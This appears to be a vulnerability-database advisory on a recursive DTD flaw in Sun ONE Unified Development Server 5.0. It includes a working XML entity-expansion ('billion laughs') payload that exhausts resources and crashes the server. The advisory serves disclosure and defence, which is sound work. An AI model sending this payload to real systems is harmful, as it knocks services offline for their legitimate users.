Sun ONE Unified Development Server 5.0 Recursive Document Type Definition Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Sun ONE Unified Development Server 5.0 recursive DTD vulnerability leads to system cras


                                                source: http://www.securityfocus.com/bid/6626/info

It has been reported that problems with the handling of recursive document type definitions (DTDs) occur in Sun ONE Unified Development Server (UDS). When a document is uploaded containing these types of constructs, the system experiences high resource consumption that can result in crash of the system, and denial of service to legitimate users.

&#60;?xml version=&#34;1.0&#34; encoding=&#34;utf-8&#34;?&#62;
&#60;!DOCTYPE foobar [
&#60;!ENTITY x0 &#34;hello&#34;&#62;
&#60;!ENTITY x1 &#34;&x0;&x0;&#34;&#62;
&#60;!ENTITY x2 &#34;&x1;&x1;&#34;&#62;
&#60;!ENTITY x3 &#34;&x2;&x2;&#34;&#62;
&#60;!ENTITY x4 &#34;&x3;&x3;&#34;&#62;
...
&#60;!ENTITY x98 &#34;&x97;&x97;&#34;&#62;
&#60;!ENTITY x99 &#34;&x98;&x98;&#34;&#62;
&#60;!ENTITY x100 &#34;&x99;&x99;&#34;&#62;
]&#62;
&#60;foobar&#62;&x100;&#60;/foobar&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1